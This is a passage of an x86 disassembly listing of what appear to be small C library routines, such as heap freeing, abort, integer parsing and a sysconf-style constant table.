804d528: 8b 44 24 30 mov 0x30(%esp),%eax
804d52c: 8b 6c 24 08 mov 0x8(%esp),%ebp
804d530: 83 e5 fc and $0xfffffffc,%ebp
804d533: 3b 58 2c cmp 0x2c(%eax),%ebx
804d536: 74 51 je 0x804d589
804d538: 8b 44 2b 04 mov 0x4(%ebx,%ebp,1),%eax
804d53c: 89 6b 04 mov %ebp,0x4(%ebx)
804d53f: 83 e0 01 and $0x1,%eax
804d542: 85 c0 test %eax,%eax
804d544: 75 1f jne 0x804d565
804d546: 8b 53 08 mov 0x8(%ebx),%edx
804d549: 8b 43 0c mov 0xc(%ebx),%eax
804d54c: 8b 72 0c mov 0xc(%edx),%esi
804d54f: 39 de cmp %ebx,%esi
804d551: 75 05 jne 0x804d558
804d553: 39 70 08 cmp %esi,0x8(%eax)
804d556: 74 05 je 0x804d55d
804d558: e8 74 02 00 00 call 0x804d7d1
804d55d: 01 ef add %ebp,%edi
804d55f: 89 42 0c mov %eax,0xc(%edx)
804d562: 89 50 08 mov %edx,0x8(%eax)
804d565: 8b 44 24 18 mov 0x18(%esp),%eax
804d569: 8b 50 08 mov 0x8(%eax),%edx
804d56c: 89 48 08 mov %ecx,0x8(%eax)
804d56f: 89 f8 mov %edi,%eax
804d571: 83 c8 01 or $0x1,%eax
804d574: 89 4a 0c mov %ecx,0xc(%edx)
804d577: 89 41 04 mov %eax,0x4(%ecx)
804d57a: 8b 44 24 18 mov 0x18(%esp),%eax
804d57e: 89 51 08 mov %edx,0x8(%ecx)
804d581: 89 41 0c mov %eax,0xc(%ecx)
804d584: 89 3c 39 mov %edi,(%ecx,%edi,1)
804d587: eb 10 jmp 0x804d599
804d589: 8d 04 2f lea (%edi,%ebp,1),%eax
804d58c: 83 c8 01 or $0x1,%eax
804d58f: 89 41 04 mov %eax,0x4(%ecx)
804d592: 8b 54 24 30 mov 0x30(%esp),%edx
804d596: 89 4a 2c mov %ecx,0x2c(%edx)
804d599: 8b 4c 24 14 mov 0x14(%esp),%ecx
804d59d: 85 c9 test %ecx,%ecx
804d59f: 0f 85 46 ff ff ff jne 0x804d4eb
804d5a5: 8b 4c 24 10 mov 0x10(%esp),%ecx
804d5a9: 39 4c 24 0c cmp %ecx,0xc(%esp)
804d5ad: 74 7e je 0x804d62d
804d5af: 83 44 24 0c 04 addl $0x4,0xc(%esp)
804d5b4: e9 1e ff ff ff jmp 0x804d4d7
804d5b9: 8b 4c 24 30 mov 0x30(%esp),%ecx
804d5bd: 8d 44 d1 2c lea 0x2c(%ecx,%edx,8),%eax
804d5c1: 42 inc %edx
804d5c2: 89 40 0c mov %eax,0xc(%eax)
804d5c5: 89 40 08 mov %eax,0x8(%eax)
804d5c8: 83 fa 5f cmp $0x5f,%edx
804d5cb: 7e ec jle 0x804d5b9
804d5cd: 8b 44 24 30 mov 0x30(%esp),%eax
804d5d1: 83 88 60 03 00 00 01 orl $0x1,0x360(%eax)
804d5d8: c7 80 48 03 00 00 00 movl $0x0,0x348(%eax)
804d5df: 00 00 00
804d5e2: c7 80 54 03 00 00 00 movl $0x10000,0x354(%eax)
804d5e9: 00 01 00
804d5ec: c7 80 4c 03 00 00 00 movl $0x40000,0x34c(%eax)
804d5f3: 00 04 00
804d5f6: c7 80 44 03 00 00 00 movl $0x40000,0x344(%eax)
804d5fd: 00 04 00
804d600: 8b 54 24 30 mov 0x30(%esp),%edx
804d604: 83 ec 0c sub $0xc,%esp
804d607: 8b 02 mov (%edx),%eax
804d609: 83 e0 03 and $0x3,%eax
804d60c: 83 c8 48 or $0x48,%eax
804d60f: 89 02 mov %eax,(%edx)
804d611: 89 d0 mov %edx,%eax
804d613: 83 c0 34 add $0x34,%eax
804d616: 89 42 2c mov %eax,0x2c(%edx)
804d619: 6a 1e push $0x1e
804d61b: e8 f5 05 00 00 call 0x804dc15
804d620: 8b 4c 24 40 mov 0x40(%esp),%ecx
804d624: 83 c4 10 add $0x10,%esp
804d627: 89 81 5c 03 00 00 mov %eax,0x35c(%ecx)
804d62d: 83 c4 1c add $0x1c,%esp
804d630: 5b pop %ebx
804d631: 5e pop %esi
804d632: 5f pop %edi
804d633: 5d pop %ebp
804d634: c3 ret
804d635: 55 push %ebp
804d636: 57 push %edi
804d637: 56 push %esi
804d638: 53 push %ebx
804d639: 83 ec 1c sub $0x1c,%esp
804d63c: 8b 7c 24 30 mov 0x30(%esp),%edi
804d640: 85 ff test %edi,%edi
804d642: 0f 84 81 01 00 00 je 0x804d7c9
804d648: 56 push %esi
804d649: 68 38 f0 04 08 push $0x804f038
804d64e: 68 99 dd 04 08 push $0x804dd99
804d653: 8d 44 24 18 lea 0x18(%esp),%eax
804d657: 50 push %eax
804d658: e8 3f 07 00 00 call 0x804dd9c
804d65d: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp)
804d664: e8 30 07 00 00 call 0x804dd99
804d669: 8d 4f f8 lea -0x8(%edi),%ecx
804d66c: a1 40 f2 04 08 mov 0x804f240,%eax
804d671: 83 c4 10 add $0x10,%esp
804d674: 8b 51 04 mov 0x4(%ecx),%edx
804d677: 89 d3 mov %edx,%ebx
804d679: 83 e3 fc and $0xfffffffc,%ebx
804d67c: 39 c3 cmp %eax,%ebx
804d67e: 77 20 ja 0x804d6a0
804d680: c1 eb 03 shr $0x3,%ebx
804d683: 83 c8 03 or $0x3,%eax
804d686: a3 40 f2 04 08 mov %eax,0x804f240
804d68b: 8d 14 9d 40 f2 04 08 lea 0x804f240(,%ebx,4),%edx
804d692: 8b 42 fc mov -0x4(%edx),%eax
804d695: 89 41 08 mov %eax,0x8(%ecx)
804d698: 89 4a fc mov %ecx,-0x4(%edx)
804d69b: e9 18 01 00 00 jmp 0x804d7b8
804d6a0: 80 e2 02 and $0x2,%dl
804d6a3: 0f 85 ef 00 00 00 jne 0x804d798
804d6a9: 83 c8 01 or $0x1,%eax
804d6ac: 8d 34 19 lea (%ecx,%ebx,1),%esi
804d6af: a3 40 f2 04 08 mov %eax,0x804f240
804d6b4: 8b 46 04 mov 0x4(%esi),%eax
804d6b7: 89 44 24 08 mov %eax,0x8(%esp)
804d6bb: f6 41 04 01 testb $0x1,0x4(%ecx)
804d6bf: 75 21 jne 0x804d6e2
804d6c1: 8b 6f f8 mov -0x8(%edi),%ebp
804d6c4: 89 c8 mov %ecx,%eax
804d6c6: 29 e8 sub %ebp,%eax
804d6c8: 8b 78 08 mov 0x8(%eax),%edi
804d6cb: 8b 50 0c mov 0xc(%eax),%edx
804d6ce: 8b 4f 0c mov 0xc(%edi),%ecx
804d6d1: 39 c1 cmp %eax,%ecx
804d6d3: 75 3c jne 0x804d711
804d6d5: 39 4a 08 cmp %ecx,0x8(%edx)
804d6d8: 75 37 jne 0x804d711
804d6da: 01 eb add %ebp,%ebx
804d6dc: 89 57 0c mov %edx,0xc(%edi)
804d6df: 89 7a 08 mov %edi,0x8(%edx)
804d6e2: 8b 6c 24 08 mov 0x8(%esp),%ebp
804d6e6: 83 e5 fc and $0xfffffffc,%ebp
804d6e9: 3b 35 6c f2 04 08 cmp 0x804f26c,%esi
804d6ef: 74 52 je 0x804d743
804d6f1: 8b 44 2e 04 mov 0x4(%esi,%ebp,1),%eax
804d6f5: 89 6e 04 mov %ebp,0x4(%esi)
804d6f8: 83 e0 01 and $0x1,%eax
804d6fb: 85 c0 test %eax,%eax
804d6fd: 75 1f jne 0x804d71e
804d6ff: 8b 56 08 mov 0x8(%esi),%edx
804d702: 8b 46 0c mov 0xc(%esi),%eax
804d705: 8b 7a 0c mov 0xc(%edx),%edi
804d708: 39 f7 cmp %esi,%edi
804d70a: 75 05 jne 0x804d711
804d70c: 39 78 08 cmp %edi,0x8(%eax)
804d70f: 74 05 je 0x804d716
804d711: e8 bb 00 00 00 call 0x804d7d1
804d716: 89 42 0c mov %eax,0xc(%edx)
804d719: 89 50 08 mov %edx,0x8(%eax)
804d71c: 01 eb add %ebp,%ebx
804d71e: a1 7c f2 04 08 mov 0x804f27c,%eax
804d723: c7 41 0c 74 f2 04 08 movl $0x804f274,0xc(%ecx)
804d72a: 89 41 08 mov %eax,0x8(%ecx)
804d72d: 89 1c 19 mov %ebx,(%ecx,%ebx,1)
804d730: 89 48 0c mov %ecx,0xc(%eax)
804d733: 89 d8 mov %ebx,%eax
804d735: 83 c8 01 or $0x1,%eax
804d738: 89 0d 7c f2 04 08 mov %ecx,0x804f27c
804d73e: 89 41 04 mov %eax,0x4(%ecx)
804d741: eb 10 jmp 0x804d753
804d743: 01 eb add %ebp,%ebx
804d745: 89 d8 mov %ebx,%eax
804d747: 83 c8 01 or $0x1,%eax
804d74a: 89 41 04 mov %eax,0x4(%ecx)
804d74d: 89 0d 6c f2 04 08 mov %ecx,0x804f26c
804d753: 81 fb ff ff 01 00 cmp $0x1ffff,%ebx
804d759: 76 5d jbe 0x804d7b8
804d75b: f6 05 40 f2 04 08 02 testb $0x2,0x804f240
804d762: 74 10 je 0x804d774
804d764: 83 ec 0c sub $0xc,%esp
804d767: 68 40 f2 04 08 push $0x804f240
804d76c: e8 1c fd ff ff call 0x804d48d
804d771: 83 c4 10 add $0x10,%esp
804d774: a1 6c f2 04 08 mov 0x804f26c,%eax
804d779: 8b 40 04 mov 0x4(%eax),%eax
804d77c: 83 e0 fc and $0xfffffffc,%eax
804d77f: 3b 05 84 f5 04 08 cmp 0x804f584,%eax
804d785: 72 31 jb 0x804d7b8
804d787: ba 40 f2 04 08 mov $0x804f240,%edx
804d78c: a1 88 f5 04 08 mov 0x804f588,%eax
804d791: e8 6a fc ff ff call 0x804d400
804d796: eb 20 jmp 0x804d7b8
804d798: 8b 57 f8 mov -0x8(%edi),%edx
804d79b: ff 0d 90 f5 04 08 decl 0x804f590
804d7a1: 8d 04 13 lea (%ebx,%edx,1),%eax
804d7a4: 29 d1 sub %edx,%ecx
804d7a6: 53 push %ebx
804d7a7: 53 push %ebx
804d7a8: 50 push %eax
804d7a9: 51 push %ecx
804d7aa: 29 05 a4 f5 04 08 sub %eax,0x804f5a4
804d7b0: e8 4c 0d 00 00 call 0x804e501
804d7b5: 83 c4 10 add $0x10,%esp
804d7b8: 50 push %eax
804d7b9: 50 push %eax
804d7ba: 6a 01 push $0x1
804d7bc: 8d 44 24 18 lea 0x18(%esp),%eax
804d7c0: 50 push %eax
804d7c1: e8 d6 05 00 00 call 0x804dd9c
804d7c6: 83 c4 10 add $0x10,%esp
804d7c9: 83 c4 1c add $0x1c,%esp
804d7cc: 5b pop %ebx
804d7cd: 5e pop %esi
804d7ce: 5f pop %edi
804d7cf: 5d pop %ebp
804d7d0: c3 ret
804d7d1: 53 push %ebx
804d7d2: 81 ec 24 01 00 00 sub $0x124,%esp
804d7d8: 68 50 f0 04 08 push $0x804f050
804d7dd: e8 b7 05 00 00 call 0x804dd99
804d7e2: b8 20 00 00 00 mov $0x20,%eax
804d7e7: 83 c4 10 add $0x10,%esp
804d7ea: eb 0b jmp 0x804d7f7
804d7ec: c7 84 84 98 00 00 00 movl $0x0,0x98(%esp,%eax,4)
804d7f3: 00 00 00 00
804d7f7: 48 dec %eax
804d7f8: 79 f2 jns 0x804d7ec
804d7fa: 53 push %ebx
804d7fb: 53 push %ebx
804d7fc: 6a 06 push $0x6
804d7fe: 8d 9c 24 a4 00 00 00 lea 0xa4(%esp),%ebx
804d805: 53 push %ebx
804d806: e8 9f 0f 00 00 call 0x804e7aa
804d80b: 83 c4 10 add $0x10,%esp
804d80e: 85 c0 test %eax,%eax
804d810: 75 0e jne 0x804d820
804d812: 51 push %ecx
804d813: 6a 00 push $0x0
804d815: 53 push %ebx
804d816: 6a 01 push $0x1
804d818: e8 96 0d 00 00 call 0x804e5b3
804d81d: 83 c4 10 add $0x10,%esp
804d820: 80 3d e0 f0 04 08 00 cmpb $0x0,0x804f0e0
804d827: 75 2f jne 0x804d858
804d829: c6 05 e0 f0 04 08 01 movb $0x1,0x804f0e0
804d830: 83 ec 0c sub $0xc,%esp
804d833: 68 50 f0 04 08 push $0x804f050
804d838: e8 5c 05 00 00 call 0x804dd99
804d83d: c7 04 24 06 00 00 00 movl $0x6,(%esp)
804d844: e8 25 0f 00 00 call 0x804e76e
804d849: c7 04 24 50 f0 04 08 movl $0x804f050,(%esp)
804d850: e8 44 05 00 00 call 0x804dd99
804d855: 83 c4 10 add $0x10,%esp
804d858: a0 e0 f0 04 08 mov 0x804f0e0,%al
804d85d: 3c 01 cmp $0x1,%al
804d85f: 75 58 jne 0x804d8b9
804d861: 52 push %edx
804d862: 68 8c 00 00 00 push $0x8c
804d867: 6a 00 push $0x0
804d869: c6 05 e0 f0 04 08 02 movb $0x2,0x804f0e0
804d870: 8d 44 24 18 lea 0x18(%esp),%eax
804d874: 50 push %eax
804d875: e8 8d ed ff ff call 0x804c607
804d87a: c7 44 24 1c 00 00 00 movl $0x0,0x1c(%esp)
804d881: 00
804d882: b8 20 00 00 00 mov $0x20,%eax
804d887: 83 c4 10 add $0x10,%esp
804d88a: eb 08 jmp 0x804d894
804d88c: c7 44 84 10 ff ff ff movl $0xffffffff,0x10(%esp,%eax,4)
804d893: ff
804d894: 48 dec %eax
804d895: 79 f5 jns 0x804d88c
804d897: c7 84 24 90 00 00 00 movl $0x0,0x90(%esp)
804d89e: 00 00 00 00
804d8a2: 50 push %eax
804d8a3: 6a 00 push $0x0
804d8a5: 8d 44 24 14 lea 0x14(%esp),%eax
804d8a9: 50 push %eax
804d8aa: 6a 06 push $0x6
804d8ac: e8 2a 07 00 00 call 0x804dfdb
804d8b1: 83 c4 10 add $0x10,%esp
804d8b4: e9 77 ff ff ff jmp 0x804d830
804d8b9: 3c 02 cmp $0x2,%al
804d8bb: 75 08 jne 0x804d8c5
804d8bd: c6 05 e0 f0 04 08 03 movb $0x3,0x804f0e0
804d8c4: f4 hlt
804d8c5: 80 3d e0 f0 04 08 03 cmpb $0x3,0x804f0e0
804d8cc: 75 11 jne 0x804d8df
804d8ce: 83 ec 0c sub $0xc,%esp
804d8d1: c6 05 e0 f0 04 08 04 movb $0x4,0x804f0e0
804d8d8: 6a 7f push $0x7f
804d8da: e8 5d 08 00 00 call 0x804e13c
804d8df: f4 hlt
804d8e0: eb fd jmp 0x804d8df
804d8e2: 83 ec 10 sub $0x10,%esp
804d8e5: 6a 0a push $0xa
804d8e7: 6a 00 push $0x0
804d8e9: ff 74 24 1c pushl 0x1c(%esp)
804d8ed: e8 04 00 00 00 call 0x804d8f6
804d8f2: 83 c4 1c add $0x1c,%esp
804d8f5: c3 ret
804d8f6: 83 ec 0c sub $0xc,%esp
804d8f9: 6a 01 push $0x1
804d8fb: ff 74 24 1c pushl 0x1c(%esp)
804d8ff: ff 74 24 1c pushl 0x1c(%esp)
804d903: ff 74 24 1c pushl 0x1c(%esp)
804d907: e8 04 00 00 00 call 0x804d910
804d90c: 83 c4 1c add $0x1c,%esp
804d90f: c3 ret
804d910: 55 push %ebp
804d911: 57 push %edi
804d912: 56 push %esi
804d913: 53 push %ebx
804d914: 83 ec 0c sub $0xc,%esp
804d917: 8b 15 84 f0 04 08 mov 0x804f084,%edx
804d91d: 8b 4c 24 20 mov 0x20(%esp),%ecx
804d921: 8b 74 24 28 mov 0x28(%esp),%esi
804d925: 89 cb mov %ecx,%ebx
804d927: eb 01 jmp 0x804d92a
804d929: 43 inc %ebx
804d92a: 0f be 03 movsbl (%ebx),%eax
804d92d: f6 04 42 20 testb $0x20,(%edx,%eax,2)
804d931: 75 f6 jne 0x804d929
804d933: 83 f8 2b cmp $0x2b,%eax
804d936: 74 0e je 0x804d946
804d938: 31 ed xor %ebp,%ebp
804d93a: 83 f8 2d cmp $0x2d,%eax
804d93d: 75 0a jne 0x804d949
804d93f: bd 01 00 00 00 mov $0x1,%ebp
804d944: eb 02 jmp 0x804d948
804d946: 31 ed xor %ebp,%ebp
804d948: 43 inc %ebx
804d949: 89 cf mov %ecx,%edi
804d94b: f7 c6 ef ff ff ff test $0xffffffef,%esi
804d951: 75 24 jne 0x804d977
804d953: 83 c6 0a add $0xa,%esi
804d956: 80 3b 30 cmpb $0x30,(%ebx)
804d959: 75 12 jne 0x804d96d
804d95b: 43 inc %ebx
804d95c: 83 ee 02 sub $0x2,%esi
804d95f: 89 df mov %ebx,%edi
804d961: 8a 03 mov (%ebx),%al
804d963: 83 c8 20 or $0x20,%eax
804d966: 3c 78 cmp $0x78,%al
804d968: 75 03 jne 0x804d96d
804d96a: 01 f6 add %esi,%esi
804d96c: 43 inc %ebx
804d96d: 83 fe 10 cmp $0x10,%esi
804d970: 7e 05 jle 0x804d977
804d972: be 10 00 00 00 mov $0x10,%esi
804d977: 8d 46 fe lea -0x2(%esi),%eax
804d97a: 31 d2 xor %edx,%edx
804d97c: 83 f8 22 cmp $0x22,%eax
804d97f: 77 61 ja 0x804d9e2
804d981: 83 c8 ff or $0xffffffff,%eax
804d984: 31 d2 xor %edx,%edx
804d986: f7 f6 div %esi
804d988: 88 54 24 0b mov %dl,0xb(%esp)
804d98c: 31 d2 xor %edx,%edx
804d98e: 89 44 24 04 mov %eax,0x4(%esp)
804d992: eb 02 jmp 0x804d996
804d994: 89 df mov %ebx,%edi
804d996: 8a 03 mov (%ebx),%al
804d998: 8d 48 d0 lea -0x30(%eax),%ecx
804d99b: 80 f9 09 cmp $0x9,%cl
804d99e: 76 0c jbe 0x804d9ac
804d9a0: 83 c8 20 or $0x20,%eax
804d9a3: b1 28 mov $0x28,%cl
804d9a5: 3c 60 cmp $0x60,%al
804d9a7: 76 03 jbe 0x804d9ac
804d9a9: 8d 48 a9 lea -0x57(%eax),%ecx
804d9ac: 0f b6 c1 movzbl %cl,%eax
804d9af: 39 f0 cmp %esi,%eax
804d9b1: 7d 2f jge 0x804d9e2
804d9b3: 43 inc %ebx
804d9b4: 3b 54 24 04 cmp 0x4(%esp),%edx
804d9b8: 77 08 ja 0x804d9c2
804d9ba: 75 1c jne 0x804d9d8
804d9bc: 3a 4c 24 0b cmp 0xb(%esp),%cl
804d9c0: 76 16 jbe 0x804d9d8
804d9c2: 8a 44 24 2c mov 0x2c(%esp),%al
804d9c6: 21 c5 and %eax,%ebp
804d9c8: e8 e9 eb ff ff call 0x804c5b6
804d9cd: 83 ca ff or $0xffffffff,%edx
804d9d0: c7 00 22 00 00 00 movl $0x22,(%eax)
804d9d6: eb bc jmp 0x804d994
804d9d8: 0f af d6 imul %esi,%edx
804d9db: 0f b6 c1 movzbl %cl,%eax
804d9de: 01 c2 add %eax,%edx
804d9e0: eb b2 jmp 0x804d994
804d9e2: 83 7c 24 24 00 cmpl $0x0,0x24(%esp)
804d9e7: 74 06 je 0x804d9ef
804d9e9: 8b 44 24 24 mov 0x24(%esp),%eax
804d9ed: 89 38 mov %edi,(%eax)
804d9ef: 89 e8 mov %ebp,%eax
804d9f1: 3c 01 cmp $0x1,%al
804d9f3: 19 db sbb %ebx,%ebx
804d9f5: 81 eb 00 00 00 80 sub $0x80000000,%ebx
804d9fb: 83 7c 24 2c 00 cmpl $0x0,0x2c(%esp)
804da00: 74 11 je 0x804da13
804da02: 39 da cmp %ebx,%edx
804da04: 76 0d jbe 0x804da13
804da06: e8 ab eb ff ff call 0x804c5b6
804da0b: 89 da mov %ebx,%edx
804da0d: c7 00 22 00 00 00 movl $0x22,(%eax)
804da13: 89 e8 mov %ebp,%eax
804da15: 84 c0 test %al,%al
804da17: 74 02 je 0x804da1b
804da19: f7 da neg %edx
804da1b: 83 c4 0c add $0xc,%esp
804da1e: 89 d0 mov %edx,%eax
804da20: 5b pop %ebx
804da21: 5e pop %esi
804da22: 5f pop %edi
804da23: 5d pop %ebp
804da24: c3 ret
804da25: 56 push %esi
804da26: 53 push %ebx
804da27: 83 ec 18 sub $0x18,%esp
804da2a: 8b 74 24 24 mov 0x24(%esp),%esi
804da2e: 68 68 f0 04 08 push $0x804f068
804da33: 68 99 dd 04 08 push $0x804dd99
804da38: 8d 5c 24 10 lea 0x10(%esp),%ebx
804da3c: 53 push %ebx
804da3d: e8 5a 03 00 00 call 0x804dd9c
804da42: c7 04 24 68 f0 04 08 movl $0x804f068,(%esp)
804da49: e8 4b 03 00 00 call 0x804dd99
804da4e: a1 e4 f0 04 08 mov 0x804f0e4,%eax
804da53: 83 c4 10 add $0x10,%esp
804da56: 85 c0 test %eax,%eax
804da58: 74 09 je 0x804da63
804da5a: 83 ec 0c sub $0xc,%esp
804da5d: 56 push %esi
804da5e: ff d0 call *%eax
804da60: 83 c4 10 add $0x10,%esp
804da63: 50 push %eax
804da64: 50 push %eax
804da65: 6a 01 push $0x1
804da67: 53 push %ebx
804da68: e8 2f 03 00 00 call 0x804dd9c
804da6d: e8 e8 02 00 00 call 0x804dd5a
804da72: b8 00 00 00 00 mov $0x0,%eax
804da77: 83 c4 10 add $0x10,%esp
804da7a: 85 c0 test %eax,%eax
804da7c: 74 05 je 0x804da83
804da7e: e8 7d 25 fb f7 call 0x0
804da83: 83 ec 0c sub $0xc,%esp
804da86: 56 push %esi
804da87: e8 b0 06 00 00 call 0x804e13c
804da8c: 55 push %ebp
804da8d: 57 push %edi
804da8e: 56 push %esi
804da8f: 53 push %ebx
804da90: 81 ec ac 01 00 00 sub $0x1ac,%esp
804da96: b8 20 00 00 00 mov $0x20,%eax
804da9b: 8b 94 24 c0 01 00 00 mov 0x1c0(%esp),%edx
804daa2: 85 d2 test %edx,%edx
804daa4: 75 10 jne 0x804dab6
804daa6: e9 58 01 00 00 jmp 0x804dc03
804daab: c7 84 84 24 01 00 00 movl $0x0,0x124(%esp,%eax,4)
804dab2: 00 00 00 00
804dab6: 48 dec %eax
804dab7: 79 f2 jns 0x804daab
804dab9: c7 84 24 a8 01 00 00 movl $0x0,0x1a8(%esp)
804dac0: 00 00 00 00
804dac4: 89 94 24 a4 01 00 00 mov %edx,0x1a4(%esp)
804dacb: 50 push %eax
804dacc: 50 push %eax
804dacd: 6a 11 push $0x11
804dacf: 8d 9c 24 30 01 00 00 lea 0x130(%esp),%ebx
804dad6: 53 push %ebx
804dad7: e8 ce 0c 00 00 call 0x804e7aa
804dadc: 83 c4 10 add $0x10,%esp
804dadf: 85 c0 test %eax,%eax
804dae1: 0f 88 20 01 00 00 js 0x804dc07
804dae7: 50 push %eax
804dae8: 8d b4 24 a8 00 00 00 lea 0xa8(%esp),%esi
804daef: 56 push %esi
804daf0: 53 push %ebx
804daf1: 6a 00 push $0x0
804daf3: e8 bb 0a 00 00 call 0x804e5b3
804daf8: 83 c4 10 add $0x10,%esp
804dafb: 85 c0 test %eax,%eax
804dafd: 0f 85 04 01 00 00 jne 0x804dc07
804db03: 50 push %eax
804db04: 50 push %eax
804db05: 6a 11 push $0x11
804db07: 56 push %esi
804db08: e8 79 0c 00 00 call 0x804e786
804db0d: 83 c4 10 add $0x10,%esp
804db10: ba 20 00 00 00 mov $0x20,%edx
804db15: 85 c0 test %eax,%eax
804db17: 74 10 je 0x804db29
804db19: e9 b3 00 00 00 jmp 0x804dbd1
804db1e: c7 84 94 24 01 00 00 movl $0x0,0x124(%esp,%edx,4)
804db25: 00 00 00 00
804db29: 4a dec %edx
804db2a: 79 f2 jns 0x804db1e
804db2c: 50 push %eax
804db2d: 50 push %eax
804db2e: 6a 11 push $0x11
804db30: 8d 84 24 30 01 00 00 lea 0x130(%esp),%eax
804db37: 50 push %eax
804db38: e8 6d 0c 00 00 call 0x804e7aa
804db3d: 83 c4 10 add $0x10,%esp
804db40: 85 c0 test %eax,%eax
804db42: 0f 88 bf 00 00 00 js 0x804dc07
804db48: 50 push %eax
804db49: 8d 44 24 1c lea 0x1c(%esp),%eax
804db4d: 50 push %eax
804db4e: 6a 00 push $0x0
804db50: 6a 11 push $0x11
804db52: e8 84 04 00 00 call 0x804dfdb
804db57: 83 c4 10 add $0x10,%esp
804db5a: 85 c0 test %eax,%eax
804db5c: 79 28 jns 0x804db86
804db5e: e8 53 ea ff ff call 0x804c5b6
804db63: 89 c3 mov %eax,%ebx
804db65: 8b 30 mov (%eax),%esi
804db67: 55 push %ebp
804db68: 6a 00 push $0x0
804db6a: 8d 84 24 ac 00 00 00 lea 0xac(%esp),%eax
804db71: 50 push %eax
804db72: 6a 02 push $0x2
804db74: e8 3a 0a 00 00 call 0x804e5b3
804db79: 83 c8 ff or $0xffffffff,%eax
804db7c: 83 c4 10 add $0x10,%esp
804db7f: 89 33 mov %esi,(%ebx)
804db81: e9 84 00 00 00 jmp 0x804dc0a
804db86: 83 7c 24 18 01 cmpl $0x1,0x18(%esp)
804db8b: 8d ac 24 a4 00 00 00 lea 0xa4(%esp),%ebp
804db92: 8d 9c 24 a4 01 00 00 lea 0x1a4(%esp),%ebx
804db99: 75 25 jne 0x804dbc0
804db9b: 57 push %edi
804db9c: 57 push %edi
804db9d: 53 push %ebx
804db9e: 53 push %ebx
804db9f: e8 8f 09 00 00 call 0x804e533
804dba4: 89 c7 mov %eax,%edi
804dba6: e8 0b ea ff ff call 0x804c5b6
804dbab: 83 c4 0c add $0xc,%esp
804dbae: 89 c3 mov %eax,%ebx
804dbb0: 8b 30 mov (%eax),%esi
804dbb2: 6a 00 push $0x0
804dbb4: 55 push %ebp
804dbb5: 6a 02 push $0x2
804dbb7: e8 f7 09 00 00 call 0x804e5b3
804dbbc: 89 33 mov %esi,(%ebx)
804dbbe: eb 23 jmp 0x804dbe3
804dbc0: 56 push %esi
804dbc1: 6a 00 push $0x0
804dbc3: 55 push %ebp
804dbc4: 6a 02 push $0x2
804dbc6: e8 e8 09 00 00 call 0x804e5b3
804dbcb: 5a pop %edx
804dbcc: 59 pop %ecx
804dbcd: 53 push %ebx
804dbce: 53 push %ebx
804dbcf: eb 0b jmp 0x804dbdc
804dbd1: 50 push %eax
804dbd2: 50 push %eax
804dbd3: 8d 84 24 ac 01 00 00 lea 0x1ac(%esp),%eax
804dbda: 50 push %eax
804dbdb: 50 push %eax
804dbdc: e8 52 09 00 00 call 0x804e533
804dbe1: 89 c7 mov %eax,%edi
804dbe3: 83 c4 10 add $0x10,%esp
804dbe6: 85 ff test %edi,%edi
804dbe8: 74 19 je 0x804dc03
804dbea: 31 c0 xor %eax,%eax
804dbec: 81 bc 24 a8 01 00 00 cmpl $0x1dcd64ff,0x1a8(%esp)
804dbf3: ff 64 cd 1d
804dbf7: 0f 9f c0 setg %al
804dbfa: 03 84 24 a4 01 00 00 add 0x1a4(%esp),%eax
804dc01: eb 07 jmp 0x804dc0a
804dc03: 31 c0 xor %eax,%eax
804dc05: eb 03 jmp 0x804dc0a
804dc07: 83 c8 ff or $0xffffffff,%eax
804dc0a: 81 c4 ac 01 00 00 add $0x1ac,%esp
804dc10: 5b pop %ebx
804dc11: 5e pop %esi
804dc12: 5f pop %edi
804dc13: 5d pop %ebp
804dc14: c3 ret
804dc15: 83 ec 0c sub $0xc,%esp
804dc18: 8b 44 24 10 mov 0x10(%esp),%eax
804dc1c: 3d 95 00 00 00 cmp $0x95,%eax
804dc21: 77 11 ja 0x804dc34
804dc23: ff 24 85 0c ea 04 08 jmp *0x804ea0c(,%eax,4)
804dc2a: b8 01 00 00 00 mov $0x1,%eax
804dc2f: e9 22 01 00 00 jmp 0x804dd56
804dc34: e8 7d e9 ff ff call 0x804c5b6
804dc39: c7 00 16 00 00 00 movl $0x16,(%eax)
804dc3f: e9 e5 00 00 00 jmp 0x804dd29
804dc44: b8 00 00 02 00 mov $0x20000,%eax
804dc49: e9 08 01 00 00 jmp 0x804dd56
804dc4e: b8 64 00 00 00 mov $0x64,%eax
804dc53: e9 fe 00 00 00 jmp 0x804dd56
804dc58: b8 00 00 01 00 mov $0x10000,%eax
804dc5d: e9 f4 00 00 00 jmp 0x804dd56
804dc62: 83 c4 0c add $0xc,%esp
804dc65: e9 f7 06 00 00 jmp 0x804e361
804dc6a: b8 06 00 00 00 mov $0x6,%eax
804dc6f: e9 e2 00 00 00 jmp 0x804dd56
804dc74: 83 c4 0c add $0xc,%esp
804dc77: e9 7c 07 00 00 jmp 0x804e3f8
804dc7c: b8 00 80 00 00 mov $0x8000,%eax
804dc81: e9 d0 00 00 00 jmp 0x804dd56
804dc86: b8 e8 03 00 00 mov $0x3e8,%eax
804dc8b: e9 c6 00 00 00 jmp 0x804dd56
804dc90: b8 00 40 00 00 mov $0x4000,%eax
804dc95: e9 bc 00 00 00 jmp 0x804dd56
804dc9a: b8 00 10 00 00 mov $0x1000,%eax
804dc9f: e9 b2 00 00 00 jmp 0x804dd56
804dca4: b8 f4 01 00 00 mov $0x1f4,%eax
804dca9: e9 a8 00 00 00 jmp 0x804dd56
804dcae: b8 08 00 00 00 mov $0x8,%eax
804dcb3: e9 9e 00 00 00 jmp 0x804dd56
804dcb8: b8 00 00 00 80 mov $0x80000000,%eax
804dcbd: e9 94 00 00 00 jmp 0x804dd56
804dcc2: b8 00 80 ff ff mov $0xffff8000,%eax
804dcc7: e9 8a 00 00 00 jmp 0x804dd56
804dccc: b8 ff ff 00 00 mov $0xffff,%eax
804dcd1: e9 80 00 00 00 jmp 0x804dd56
804dcd6: b8 09 00 00 00 mov $0x9,%eax
804dcdb: eb 79 jmp 0x804dd56
804dcdd: 50 push %eax
804dcde: 50 push %eax
804dcdf: 6a 00 push $0x0
804dce1: 6a 01 push $0x1
804dce3: e8 7c 04 00 00 call 0x804e164
804dce8: 83 c4 10 add $0x10,%esp
804dceb: 85 c0 test %eax,%eax
804dced: 79 10 jns 0x804dcff
804dcef: eb 38 jmp 0x804dd29
804dcf1: b8 7f 00 00 00 mov $0x7f,%eax
804dcf6: eb 5e jmp 0x804dd56
804dcf8: b8 10 00 00 00 mov $0x10,%eax
804dcfd: eb 57 jmp 0x804dd56
804dcff: b8 b0 0d 03 00 mov $0x30db0,%eax
804dd04: eb 50 jmp 0x804dd56
